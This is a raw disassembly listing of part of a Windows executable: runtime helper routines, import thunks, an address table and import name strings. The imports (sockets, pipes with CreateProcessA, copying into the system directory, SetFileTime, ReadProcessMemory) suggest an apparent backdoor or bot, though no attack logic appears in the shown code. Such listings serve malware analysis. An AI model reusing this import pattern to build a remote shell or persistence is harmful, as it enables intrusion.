		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416E30	proc near		; CODE XREF: sub_4048EF+4Ep
					; sub_4048EF+2CFp ...
		jmp	dword_4171F8
sub_416E30	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_416E40	proc near		; CODE XREF: sub_414EF4+EAp
					; sub_414EF4+1E2p ...

arg_0		= dword	ptr  4

		push	0
		push	[esp+4+arg_0]
		call	sub_416EAF
		retn	4
sub_416E40	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416E4E	proc near		; CODE XREF: sub_414EF4+134p
					; sub_414EF4+2D8p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_4]
		and	[ebp+var_4], 0
		test	eax, eax
		jz	short loc_416EA0
		mov	ecx, [eax]
		lea	edx, [ebp+arg_4]
		push	edx
		push	offset dword_41DDA0
		push	eax
		call	dword ptr [ecx]
		test	eax, eax
		jl	short loc_416EA0
		mov	eax, [ebp+arg_4]
		push	esi
		push	[ebp+arg_8]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+0Ch]
		mov	esi, eax
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [eax]
		call	dword ptr [ecx+8]
		test	esi, esi
		pop	esi
		jnz	short loc_416EA0
		lea	eax, [ebp+var_4]
		push	eax
		push	0
		call	dword_4171C8
		test	eax, eax
		jz	short loc_416EA0
		and	[ebp+var_4], 0


loc_416EA0:				; CODE XREF: sub_416E4E+Dj
					; sub_416E4E+1Fj ...
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_416EAF
		leave
		retn	0Ch
sub_416E4E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416EAF	proc near		; CODE XREF: sub_416E40+6p
					; sub_416E4E+58p

var_10		= byte ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	0
		lea	ecx, [ebp+var_10]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416ED3
		lea	eax, [ebp+var_10]
		push	offset dword_4173B8
		push	eax
		call	sub_416FA2	; _CxxThrowException
sub_416EAF	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_416ED3	proc near		; CODE XREF: sub_416EAF+11p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		and	dword ptr [esi+0Ch], 0
		mov	[esi+4], eax
		mov	eax, [esp+4+arg_4]
		mov	dword ptr [esi], offset	off_4172B4
		test	eax, eax
		mov	[esi+8], eax
		jz	short loc_416EFF
		cmp	[esp+4+arg_8], 0
		jz	short loc_416EFF
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+4]


loc_416EFF:				; CODE XREF: sub_416ED3+1Dj
					; sub_416ED3+24j
		mov	eax, esi
		pop	esi
		retn	0Ch
sub_416ED3	endp


; =============== S U B	R O U T	I N E =======================================



sub_416F05	proc near		; DATA XREF: .data:off_4172B4o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_416F4E
		test	[esp+4+arg_0], 1
		jz	short loc_416F1B
		push	esi
		call	sub_416DCC
		pop	ecx


loc_416F1B:				; CODE XREF: sub_416F05+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_416F05	endp

; ---------------------------------------------------------------------------
		mov	eax, [esp+4]
		push	esi
		mov	esi, ecx
		mov	ecx, [eax+4]
		mov	[esi+4], ecx
		mov	eax, [eax+8]
		and	dword ptr [esi+0Ch], 0
		mov	[esi+8], eax
		test	eax, eax
		mov	dword ptr [esi], offset	off_4172B4
		jz	short loc_416F48
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+4]


loc_416F48:				; CODE XREF: .data:00416F40j
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_416F4E	proc near		; CODE XREF: sub_416F05+3p
					; DATA XREF: .data:004173BCo
		push	esi
		mov	esi, ecx
		mov	eax, [esi+8]
		mov	dword ptr [esi], offset	off_4172B4
		test	eax, eax
		jz	short loc_416F64
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_416F64:				; CODE XREF: sub_416F4E+Ej
		mov	esi, [esi+0Ch]
		test	esi, esi
		jz	short loc_416F72
		push	esi
		call	dword_4170B0	; LocalFree


loc_416F72:				; CODE XREF: sub_416F4E+1Bj
		pop	esi
		retn
sub_416F4E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416F74	proc near		; CODE XREF: sub_401244+120p
					; sub_406E8E+DAp ...
		jmp	dword_4171C0
sub_416F74	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416F7A	proc near		; CODE XREF: sub_4020C2+113p
					; sub_4038BA+22Fp ...
		jmp	dword_417114
sub_416F7A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416F80	proc near		; CODE XREF: sub_402A32+CCp
					; sub_402A32+2B9p ...
		jmp	dword_417118
sub_416F80	endp


; =============== S U B	R O U T	I N E =======================================



sub_416F86	proc near		; DATA XREF: .data:off_4172BCo

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_416FA8
		test	[esp+4+arg_0], 1
		jz	short loc_416F9C
		push	esi
		call	sub_416DCC
		pop	ecx


loc_416F9C:				; CODE XREF: sub_416F86+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_416F86	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416FA2	proc near		; CODE XREF: sub_416EAF+1Fp
		jmp	dword_41711C
sub_416FA2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416FA8	proc near		; CODE XREF: sub_416F86+3p
		jmp	dword_417120
sub_416FA8	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-0A00h]
		call	sub_415B3F
		retn
; ---------------------------------------------------------------------------


loc_416FBC:				; DATA XREF: .data:0041737Co
		lea	ecx, [ebp-10h]
		call	sub_415B3F
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0DF8h]
		call	sub_415B3F
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0E14h]
		call	sub_415B3F
		retn
; ---------------------------------------------------------------------------


loc_416FDD:				; DATA XREF: sub_414EF4o
		mov	eax, offset dword_417350
		jmp	loc_416E08
; ---------------------------------------------------------------------------
		align 4
		dd 6 dup(0)
dword_417000	dd 77DD7F3Eh		; DATA XREF: sub_401000+C6r
dword_417004	dd 77DD5C55h		; DATA XREF: sub_401000+11Ar
					; sub_406C51+96r
dword_417008	dd 77DD22EAh		; DATA XREF: sub_401000+65r
					; sub_406722+184r ...
dword_41700C	dd 77DD23D7h		; DATA XREF: sub_406722+1C3r
					; sub_4083AD+2DDr ...
dword_417010	dd 77DD59F0h		; DATA XREF: sub_406C51+88r
dword_417014	dd 77DD590Bh		; DATA XREF: sub_406C51+26r
dword_417018	dd 77DDACABh		; DATA XREF: sub_4083AD+E6r
dword_41701C	dd 77DE042Eh		; DATA XREF: sub_4102AE+62r
dword_417020	dd 77DE03D2h		; DATA XREF: sub_4102AE+27r
					; sub_4102AE+37r ...
dword_417024	dd 77DDEBA2h		; DATA XREF: sub_4102AE+17r
dword_417028	dd 77DD189Ah		; DATA XREF: sub_401000+136r
					; sub_406722+2F9r ...
		align 10h
dword_417030	dd 77E7C657h		; DATA XREF: sub_4083AD+11Er
					; sub_40D043+20Br ...
dword_417034	dd 77E7513Ch		; DATA XREF: sub_408342+10r
					; sub_408342+4Br
dword_417038	dd 77E705C5h		; DATA XREF: sub_406D47+41r
dword_41703C	dd 77E74672h		; DATA XREF: sub_406C51+6Fr
					; sub_414EF4+8EEr
dword_417040	dd 77E705B0h		; DATA XREF: sub_406B81+15r
dword_417044	dd 77E7A837h		; DATA XREF: sub_406B81+47r
					; sub_406B81+95r ...
dword_417048	dd 77E73CE2h		; DATA XREF: sub_406B81+6Er
dword_41704C	dd 77E7011Ah		; DATA XREF: sub_406B81+BCr
dword_417050	dd 77E704FCh		; DATA XREF: sub_406A23+15r
					; sub_406AE7+15r ...
dword_417054	dd 77E805D8h		; DATA XREF: sub_403BD3+Br
					; sub_403BD3+32r ...
dword_417058	dd 77E7A5FDh		; DATA XREF: sub_403BD3+22r
					; sub_403BD3+4Dr ...
dword_41705C	dd 77E75CB5h		; DATA XREF: sub_40332B+227r
					; sub_407148+18Br ...
dword_417060	dd 77E6BD13h		; DATA XREF: sub_402A32+ECr
					; sub_406E8E+1FEr
dword_417064	dd 77F5157Dh		; DATA XREF: sub_402A32+F6r
					; sub_409CB1+CFr ...
dword_417068	dd 77E79D8Ch		; DATA XREF: sub_401D39+22r
					; sub_406D90+D3r
dword_41706C	dd 77E6CBF9h		; DATA XREF: sub_401981+4Fr
dword_417070	dd 77E7727Ah		; DATA XREF: sub_401981+9Er
					; sub_401981+D7r
dword_417074	dd 77E79C90h		; DATA XREF: sub_401981+104r
					; sub_401981+111r
dword_417078	dd 77E65F4Ch		; DATA XREF: sub_4083AD+FAr
dword_41707C	dd 77E61BB8h		; DATA XREF: sub_401981+1C6r
					; sub_406E8E+2A5r
dword_417080	dd 77EB7624h		; DATA XREF: sub_401981+274r
dword_417084	dd 77E7FF65h		; DATA XREF: sub_401981+2B3r
dword_417088	dd 77E78B82h		; DATA XREF: sub_401981+37Br
dword_41708C	dd 77E79F93h		; DATA XREF: sub_401244+F2r
					; sub_40332B+1D0r ...
dword_417090	dd 77E7A099h		; DATA XREF: sub_401244+F9r
					; sub_40332B+1D7r ...
dword_417094	dd 77E706B7h		; DATA XREF: sub_401244+159r
					; sub_406041+193r ...
dword_417098	dd 77E61A54h		; DATA XREF: sub_401244+21Dr
					; sub_406509+91r
dword_41709C	dd 77E61BE6h		; DATA XREF: sub_401244+3C6r
					; sub_401244+4F4r ...
dword_4170A0	dd 77E616B4h		; DATA XREF: sub_401244+439r
					; sub_406643+3Br
dword_4170A4	dd 77E77963h		; DATA XREF: sub_401244+471r
					; sub_401244+4C1r ...
dword_4170A8	dd 77E70396h		; DATA XREF: sub_401146+11r
					; sub_406E8E+22Ar ...
dword_4170AC	dd 77E73628h		; DATA XREF: sub_401146+23r
					; sub_401E38+30r ...
dword_4170B0	dd 77E79A45h		; DATA XREF: sub_416F4E+1Er
dword_4170B4	dd 77E7AC37h		; DATA XREF: sub_40A1A7+106r
dword_4170B8	dd 77E75090h		; DATA XREF: sub_40D74D+87r
dword_4170BC	dd 77E74D76h		; DATA XREF: sub_40D74D+4Ar
dword_4170C0	dd 77E77797h		; DATA XREF: sub_40D74D+33r
dword_4170C4	dd 77E76C1Ah		; DATA XREF: sub_4083AD+33r
dword_4170C8	dd 77E686CCh		; DATA XREF: sub_408E8E+4Br
					; sub_408F2E+134r
dword_4170CC	dd 77E6C0E3h		; DATA XREF: sub_408E8E+1Ar
					; sub_408F2E+7Fr ...
dword_4170D0	dd 77E7751Ah		; DATA XREF: sub_409226:loc_40928Er
					; sub_4092A4:loc_409307r ...
dword_4170D4	dd 77E6D75Bh		; DATA XREF: sub_409226+14r
					; sub_4092A4+14r ...
dword_4170D8	dd 77E802FCh		; DATA XREF: sub_409226+Ar
					; sub_4092A4+Ar ...
dword_4170DC	dd 77E7176Ch		; DATA XREF: sub_4093B6+51r
dword_4170E0	dd 77E75CEBh		; DATA XREF: sub_4098F3+A2r
					; sub_4098F3+1B6r
dword_4170E4	dd 77E79908h		; DATA XREF: sub_409C36+2Er
dword_4170E8	dd 77E80656h		; DATA XREF: sub_401244+D7r
					; sub_406643+19r
dword_4170EC	dd 77F7E21Fh		; DATA XREF: sub_409C6C+6r
dword_4170F0	dd 77E79CE3h		; DATA XREF: sub_401981+118r
dword_4170F4	dd 77E78C17h		; DATA XREF: .data:00416822r
dword_4170F8	dd 77E7C2C4h		; DATA XREF: .data:00416899r
dword_4170FC	dd 77E73167h		; DATA XREF: sub_414EF4+5AAr
					; sub_414EF4+5BCr ...
dword_417100	dd 77E73BEFh		; DATA XREF: sub_414EF4+9C0r
dword_417104	dd 77E7AC5Eh		; DATA XREF: sub_4148CE+B0r
dword_417108	dd 77E76432h		; DATA XREF: sub_40D871+29Br
					; sub_414EF4+5CEr ...
dword_41710C	dd 77F7E300h		; DATA XREF: sub_409C7A+6r
		dd 0
dword_417114	dd 77C1C055h		; DATA XREF: sub_416F7Ar
dword_417118	dd 77C423F5h		; DATA XREF: sub_416F80r
dword_41711C	dd 77C219F5h		; DATA XREF: sub_416FA2r
dword_417120	dd 77C20C5Bh		; DATA XREF: sub_416FA8r
dword_417124	dd 77C21AD8h		; DATA XREF: .data:loc_416E08r
dword_417128	dd 77C43150h		; DATA XREF: sub_416E02r
dword_41712C	dd 77C41FA0h		; DATA XREF: sub_416B3Ar
dword_417130	dd 77C33FDEh		; DATA XREF: sub_416DFCr
dword_417134	dd 77C33FC1h		; DATA XREF: sub_416DF6r
dword_417138	dd 77C3CE0Ch		; DATA XREF: sub_416DF0r
dword_41713C	dd 77C42D60h		; DATA XREF: sub_416DEAr
dword_417140	dd 77C1C6F3h		; DATA XREF: sub_416DE4r
dword_417144	dd 77C435C0h		; DATA XREF: sub_416DDEr
dword_417148	dd 77C3E5D9h		; DATA XREF: sub_416DD8r
dword_41714C	dd 77C28925h		; DATA XREF: sub_416DD2r
dword_417150	dd 77C28933h		; DATA XREF: sub_416DCCr
dword_417154	dd 77C3CCE7h		; DATA XREF: sub_416DC6r
dword_417158	dd 77C37FEDh		; DATA XREF: sub_416DC0r
dword_41715C	dd 77C33EB0h		; DATA XREF: sub_416DBAr
dword_417160	dd 77C4B940h		; DATA XREF: sub_416CFEr
dword_417164	dd 77C4B120h		; DATA XREF: sub_416CF8r
dword_417168	dd 77C37ADCh		; DATA XREF: sub_416BFCr
dword_41716C	dd 77C2AC58h		; DATA XREF: sub_416BF6r
dword_417170	dd 77C438C0h		; DATA XREF: sub_416BF0r
dword_417174	dd 77C3C93Ch		; DATA XREF: sub_416BAEr
dword_417178	dd 77C43AB0h		; DATA XREF: sub_416BA8r
dword_41717C	dd 77C3E8C0h		; DATA XREF: sub_416BA2r
dword_417180	dd 77C1BE00h		; DATA XREF: sub_416B9Cr
dword_417184	dd 77C3E140h		; DATA XREF: sub_416B96r
dword_417188	dd 77C3DFB5h		; DATA XREF: sub_416B90r
dword_41718C	dd 77C3BF06h		; DATA XREF: sub_416B88r
dword_417190	dd 77C3D8F6h		; DATA XREF: sub_416B82r
dword_417194	dd 77C3E4B9h		; DATA XREF: sub_416B7Cr
dword_417198	dd 77C3E303h		; DATA XREF: sub_416B76r
dword_41719C	dd 77C41FB0h		; DATA XREF: sub_416B70r
dword_4171A0	dd 77C43490h		; DATA XREF: sub_416B6Ar
dword_4171A4	dd 77C46553h		; DATA XREF: sub_416B64r
dword_4171A8	dd 77C3C813h		; DATA XREF: sub_416B5Er
dword_4171AC	dd 77C43900h		; DATA XREF: sub_416B58r
dword_4171B0	dd 77C42E10h		; DATA XREF: sub_416B52r
dword_4171B4	dd 77C2AA6Bh		; DATA XREF: sub_416B4Cr
dword_4171B8	dd 77C2AC46h		; DATA XREF: sub_416B46r
dword_4171BC	dd 77C43710h		; DATA XREF: sub_416B40r
dword_4171C0	dd 77C421A2h		; DATA XREF: sub_416F74r
		align 8
dword_4171C8	dd 7713BC68h		; DATA XREF: sub_416E4E+44r
		align 10h
dword_4171D0	dd 77428B97h		; DATA XREF: sub_401D6E+2Dr
					; sub_402A32+79Br ...
		align 8
dword_4171D8	dd 77D4456Bh		; DATA XREF: sub_40A9CF+121r
dword_4171DC	dd 77D79D1Ch		; DATA XREF: sub_414EF4+76Dr
dword_4171E0	dd 77D4C96Ah		; DATA XREF: sub_406D90+B0r
					; sub_408F2E+1D1r ...
dword_4171E4	dd 77D5C13Ah		; DATA XREF: sub_40A9CF+128r
					; sub_415B60+84r
dword_4171E8	dd 77D4BDCAh		; DATA XREF: sub_40D734+Br
dword_4171EC	dd 77D4702Fh		; DATA XREF: sub_40D74D+6Cr
					; sub_40D74D+7Er
		dd 0
dword_4171F4	dd 71AB3E5Dh		; DATA XREF: sub_404FE7+C5r
					; sub_4050EA+106r ...
dword_4171F8	dd 71AB1B7Bh		; DATA XREF: sub_416E30r
dword_4171FC	dd 71AB868Dh		; DATA XREF: sub_4048EF+11Er
					; sub_4048EF+39Fr
dword_417200	dd 71AB8629h		; DATA XREF: sub_40538D+8r
					; sub_412A3A+178r ...
dword_417204	dd 71AB3F8Dh		; DATA XREF: sub_4046BC+114r
					; sub_4055E5+7Br ...
dword_417208	dd 71AB3ECEh		; DATA XREF: sub_4046BC+129r
					; sub_411DC5+DFr ...
dword_41720C	dd 71AB1AF4h		; DATA XREF: sub_4053BF+Fr
					; sub_40A9CF+1A74r
dword_417210	dd 71ABF628h		; DATA XREF: sub_4044F7+21r
					; sub_4045B2+21r
dword_417214	dd 71AB155Ah		; DATA XREF: sub_404457+1Cr
					; sub_40447B+10r
dword_417218	dd 71AB3C22h		; DATA XREF: sub_40432E+Ar
					; sub_4046BC+CEr ...
dword_41721C	dd 71AB401Ch		; DATA XREF: sub_4038BA+72r
					; sub_40732D+1A8r ...
dword_417220	dd 71ABD755h		; DATA XREF: sub_4038BA+D0r
					; sub_4038BA+171r ...
dword_417224	dd 71AB1740h		; DATA XREF: sub_4038BA+E5r
					; sub_4038BA+186r ...
dword_417228	dd 71ABD850h		; DATA XREF: sub_4038BA+28Dr
dword_41722C	dd 71AB1890h		; DATA XREF: sub_4048EF+265r
					; sub_404E1C+E0r ...
dword_417230	dd 71AB1A6Dh		; DATA XREF: sub_4053B1+6r
					; sub_40A9CF+1A80r ...
dword_417234	dd 71AB350Dh		; DATA XREF: sub_403588+23r
					; sub_403588+4Ar ...
dword_417238	dd 71AB1746h		; DATA XREF: sub_403588+BAr
					; sub_403588+1FEr ...
dword_41723C	dd 71AB2BBFh		; DATA XREF: sub_403588+151r
					; sub_4055E5+F3r ...
dword_417240	dd 71AB157Eh		; DATA XREF: sub_4020C2+B9r
					; sub_40449C+21r ...
dword_417244	dd 71AB12F8h		; DATA XREF: sub_4020C2+1FAr
					; sub_4055E5+DDr ...
dword_417248	dd 71AB5690h		; DATA XREF: sub_401E38+106r
					; sub_4053DC+27r ...
dword_41724C	dd 71AB12A7h		; DATA XREF: sub_401E38+141r
					; sub_4020C2+201r
dword_417250	dd 71AB1ED3h		; DATA XREF: sub_4055E5+7F2r
					; sub_411DC5+372r ...
dword_417254	dd 71AB1836h		; DATA XREF: sub_406E8E+2ABr
					; sub_407148+183r ...
dword_417258	dd 71AB1444h		; DATA XREF: sub_411DC5+2A1r
dword_41725C	dd 71AB14DCh		; DATA XREF: sub_415F69+157r
dword_417260	dd 71AB32CAh		; DATA XREF: sub_415F69+81r
dword_417264	dd 71AB41DAh		; DATA XREF: .data:004169F2r
dword_417268	dd 71AB5DE2h		; DATA XREF: sub_4046BC+14Dr
		align 10h
flt_417270	dd 1.0e3		; DATA XREF: sub_401E38+207r
					; sub_401E38+22Fr ...
flt_417274	dd 1.024e3		; DATA XREF: sub_408B30+2A2r
dword_417278	dd 0FFFFFFFFh, 409449h,	40945Fh, 0 ; DATA XREF:	sub_4093B6+5o
dword_417288	dd 0FFFFFFFFh, 409572h,	40958Ah, 0 ; DATA XREF:	sub_4094E6+5o
dword_417298	dd 0FFFFFFFFh, 416AE7h,	416AFDh, 0 ; DATA XREF:	.data:004167F6o
		dd offset loc_416AC5
		dd offset loc_416ADB
		dd offset dword_4172F0
off_4172B4	dd offset sub_416F05	; DATA XREF: sub_416ED3+12o
					; .data:00416F3Ao ...
		dd offset dword_417338
off_4172BC	dd offset sub_416F86	; DATA XREF: .data:off_41DDB0o
					; .data:off_41DDD0o
off_4172C0	dd offset off_41DDB0	; DATA XREF: .data:004172D8o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_4172C0
dword_4172DC	dd 3 dup(0)		; DATA XREF: .data:00417300o
		dd 1, 4172D8h
dword_4172F0	dd 3 dup(0)		; DATA XREF: .data:004172B0o
		dd offset off_41DDB0
		dd offset dword_4172DC+4
		align 8
off_417308	dd offset off_41DDD0	; DATA XREF: .data:00417320o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_417308
		dd 0
		db    0			; DATA XREF: .data:00417348o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 1, 417320h
dword_417338	dd 3 dup(0)		; DATA XREF: .data:004172B8o
		dd offset off_41DDD0
		dd offset unk_417328
		align 10h
dword_417350	dd 19930520h, 4, 417370h, 5 dup(0) ; DATA XREF:	.data:loc_416FDDo
		dd 0FFFFFFFFh, 416FB0h,	0
		dd offset loc_416FBC
		dd 1, 416FC5h, 2, 416FD1h, 0
		dd offset off_41DDB0
		dd 0
		dd 0FFFFFFFFh, 0
		dd 10h,	416F21h, 0
dword_4173B0	dd 1, 417390h		; DATA XREF: .data:004173C4o
dword_4173B8	dd 0			; DATA XREF: sub_416EAF+19o
		dd offset sub_416F4E
		dd 0
		dd offset dword_4173B0
		dd 1757Ch, 0CDC31337h, 77C10000h, 17876h, 17114h, 1765Ch
		dd 0CDC31337h, 71AB0000h, 1788Eh, 171F4h, 17498h, 0CDC31337h
		dd 77E60000h, 17C70h, 17030h, 17640h, 0CDC31337h, 77D40000h
		dd 17CE6h, 171D8h, 17468h, 0CDC31337h, 77DD0000h, 17DBAh
		dd 17000h, 17638h, 0CDC31337h, 773D0000h, 17DD8h, 171D0h
		dd 17630h, 0CDC31337h, 77120000h, 17E3Eh, 171C8h, 5 dup(0)
		dd 17D12h, 17D00h, 17D22h, 17D32h, 17D46h, 17D58h, 17D6Ah
		dd 17D7Ah, 17D90h, 17DA2h, 17CF2h, 0
		dd 17AB6h, 17AA4h, 17A8Ch, 17A80h, 17A68h, 17A5Ah, 17A4Ch
		dd 17A3Eh, 17A28h, 17A18h, 17A06h, 179F8h, 179ECh, 179DCh
		dd 179D0h, 179C2h, 179B4h, 179A0h, 17AC6h, 1797Ch, 1796Ch
		dd 17956h, 1794Ah, 17920h, 1790Ah, 178FCh, 178E8h, 178E0h
		dd 178CCh, 178BEh, 178A8h, 1789Ah, 17E32h, 17BCAh, 17BDAh
		dd 17BECh, 17BFCh, 17ADAh, 17AF0h, 17B06h, 17B16h, 17B26h
		dd 17B42h, 17B5Ch, 17B6Ch, 17B7Eh, 17934h, 17B9Ah, 1798Eh
		dd 17C60h, 17C50h, 17C44h, 17C38h, 17C1Eh, 17C12h, 17BB2h
		dd 0
		dd 17DF0h, 17DF8h, 17E04h, 17E1Ah, 17862h, 17858h, 176D8h
		dd 17850h, 17848h, 1783Ah, 17830h, 17826h, 1781Ch, 17812h
		dd 17802h, 177F2h, 177E6h, 177D4h, 177C0h, 177B8h, 177B0h
		dd 177A8h, 1779Eh, 17794h, 17788h, 1777Eh, 17774h, 1776Ch
		dd 17764h, 1775Ch, 17754h, 1774Ah, 17740h, 17738h, 1772Eh
		dd 17724h, 1771Ch, 17712h, 17708h, 176FEh, 176F6h, 176ECh
		dd 176E2h, 17DE4h, 0
		dd 800000C8h, 0
		dd 17DC8h, 0
		dd 17C9Ch, 17CD0h, 17C7Eh, 17C8Ah, 17CB2h, 17CC0h, 0
		dd 80000004h, 80000097h, 80000001h, 80000016h, 80000015h
		dd 80000002h, 80000013h, 80000005h, 8000000Ah, 80000017h
		dd 8000000Ch, 80000033h, 8000006Fh, 80000038h, 80000012h
		dd 80000003h, 80000070h, 80000009h, 80000034h, 80000006h
		dd 8000000Bh, 80000010h, 80000008h, 80000014h, 80000074h
		dd 80000011h, 17882h, 80000039h, 80000073h, 8000000Dh
		dd 0
		dd 747302BAh, 79706372h, 2BE0000h, 6C727473h, 6E65h, 616D0291h
		dd 636F6C6Ch, 25E0000h,	65657266h, 2970000h, 636D656Dh
		dd 7970h, 747302C1h, 70636E72h,	2B20079h, 69727073h, 66746Eh
		dd 6C630243h, 6B636Fh, 656D0299h, 7465736Dh, 2B60000h
		dd 63727473h, 7461h, 74660264h,	6C6C65h, 77660266h, 65746972h
		dd 24C0000h, 6F6C6366h,	6573h, 6F660257h, 6E6570h, 7266025Dh
		dd 646165h, 73660262h, 6B6565h,	7461023Dh, 696Fh, 737302B5h
		dd 666E6163h, 2C50000h,	73727473h, 7274h, 735F01AEh, 6972706Eh
		dd 66746Eh, 747302C0h, 6D636E72h, 2A70070h, 6C616572h
		dd 636F6Ch, 78650249h, 7469h, 665F00F1h, 6C6F74h, 65630241h
		dd 6C69h, 655F00CAh, 70656378h,	61685F74h, 656C646Eh, 3372h
		dd 625F00A6h, 6E696765h, 65726874h, 78656461h, 2DC0000h
		dd 72707376h, 66746E69h, 100000h, 40333F3Fh, 50584159h
		dd 5A405841h, 0F0000h, 40323F3Fh, 41504159h, 5A404958h
		dd 29E0000h, 6E697270h,	6674h, 747302B8h, 706D6372h, 2D30000h
		dd 6F6C6F74h, 726577h, 656D0296h, 706D636Dh, 1E10000h
		dd 6E73765Fh, 6E697270h, 6674h,	725F019Bh, 6C746Fh, 725F019Ch
		dd 72746Fh, 656D0298h, 766F6D6Dh, 490065h
a__cxxframehand	db '__CxxFrameHandler',0
aMsvcrt_dll	db 'MSVCRT.dll',0
		align 2
		db '(',0
aWsaioctl	db 'WSAIoctl',0
		align 2
aWs2_32_dll_0	db 'WS2_32.dll',0
		align 2
		db '|',0
aDeletefilea	db 'DeleteFileA',0
		db  0Eh
		db 3, 53h, 65h
aTfileattribute	db 'tFileAttributesA',0
		align 2
a_		db '.',0
aClosehandle	db 'CloseHandle',0
		db  51h	; Q
		db 3, 54h, 65h
aRminateprocess	db 'rminateProcess',0
		align 10h
		db  49h	; I
		db 3, 53h, 6Ch
		db  65h	; e
		db 65h,	70h, 0
		db 0AEh	; ®
		db 2, 52h, 65h
aAdprocessmemor	db 'adProcessMemory',0
		dd 704F027Ch, 72506E65h, 7365636Fh, 1750073h
aGetmodulefil_0	db 'GetModuleFileNameA',0
		align 10h
		db  77h	; w
		db 1, 47h, 65h
aTmodulehandlea	db 'tModuleHandleA',0
		align 4
		db  3Bh	; ;
		db 1, 47h, 65h
aTcurrentproces	db 'tCurrentProcessId',0
		dw 2ABh
aReadfile	db 'ReadFile',0
		align 2
		dw 152h
aGetexitcodepro	db 'GetExitCodeProcess',0
		align 4
		db  87h	; ‡
		db 2, 50h, 65h
aEknamedpipe	db 'ekNamedPipe',0
		db '`',0
aCreateprocessa	db 'CreateProcessA',0
		align 2
aM		db 'Œ',0
aDuplicatehandl	db 'DuplicateHandle',0
		db  3Ah	; :
		db 1, 47h, 65h
aTcurrentproc_0	db 'tCurrentProcess',0
a__0		db '_',0
aCreatepipe	db 'CreatePipe',0
		align 2
		dw 2D0h
aSearchpatha	db 'SearchPathA',0
		db  97h	; —
		db 3, 57h, 72h
aItefile	db 'iteFile',0
		db  69h	; i
		db 1, 47h, 65h
aTlasterror	db 'tLastError',0
		align 4
		db '=',0
aCopyfilea	db 'CopyFileA',0
aP		db '¯',0
aExitprocess	db 'ExitProcess',0
		dw 198h
aGetprocaddress	db 'GetProcAddress',0
		align 4
		db  48h	; H
		db 2, 4Ch, 6Fh
aAdlibrarya	db 'adLibraryA',0
		align 4
		db 0B9h	; ¹
		db 1, 47h, 65h
aTsystemdirecto	db 'tSystemDirectoryA',0
		dw 314h
aSetfiletime	db 'SetFileTime',0
		db  5Dh	; ]
		db 1, 47h, 65h
aTfiletime	db 'tFileTime',0
aM_0		db 'M',0
aCreatefilea	db 'CreateFileA',0
		db 0E9h	; é
		db 1, 47h, 65h
aTwindowsdirect	db 'tWindowsDirectoryA',0
		align 10h
		db 0BFh	; ¿
		db 3, 6Ch, 73h
aTrlena		db 'trlenA',0
		align 4
		db 0FFh
		db 2, 53h, 65h
aTcurrentdirect	db 'tCurrentDirectoryA',0
		align 4
		dd 6547016Ch, 636F4C74h, 49656C61h, 416F666Eh, 1DF0000h
		dd 56746547h, 69737265h, 78456E6Fh, 10C0041h, 43746547h
		dd 75706D6Fh, 4E726574h, 41656D61h, 1FA0000h
aGlobalmemoryst	db 'GlobalMemoryStatus',0
		align 10h
		db  46h	; F
		db 1, 47h, 65h
aTdiskfreespace	db 'tDiskFreeSpaceExA',0
		dw 14Bh
aGetdrivetypea	db 'GetDriveTypeA',0
		dw 1D5h
aGettickcount	db 'GetTickCount',0
		align 2
		dw 29Ah
aQueryperforman	db 'QueryPerformanceFrequency',0
		dw 299h
aQueryperform_0	db 'QueryPerformanceCounter',0
		dd 73490226h, 43646142h, 5065646Fh, 7274h, 65540352h, 6E696D72h
		dd 54657461h, 61657268h, 2190064h
aInitializecr_0	db 'InitializeCriticalSection',0
aP_0		db '',0
aEntercriticals	db 'EnterCriticalSection',0
		align 2
		dw 247h
aLeavecriticals	db 'LeaveCriticalSection',0
		align 2
aI		db 'i',0
aCreatethread	db 'CreateThread',0
		align 2
		dw 365h
aUnmapviewoffil	db 'UnmapViewOfFile',0
		db  5Eh	; ^
		db 2, 4Dh, 61h
aPviewoffile	db 'pViewOfFile',0
aN		db 'N',0
aCreatefilemapp	db 'CreateFileMappingA',0
		align 2
		dw 3B3h
aLstrcmpa	db 'lstrcmpA',0
		align 2
		dw 150h
aGetenvironment	db 'GetEnvironmentVariableA',0
		db 0BCh	; ¼
		db 3, 6Ch, 73h
aTrcpyna	db 'trcpynA',0
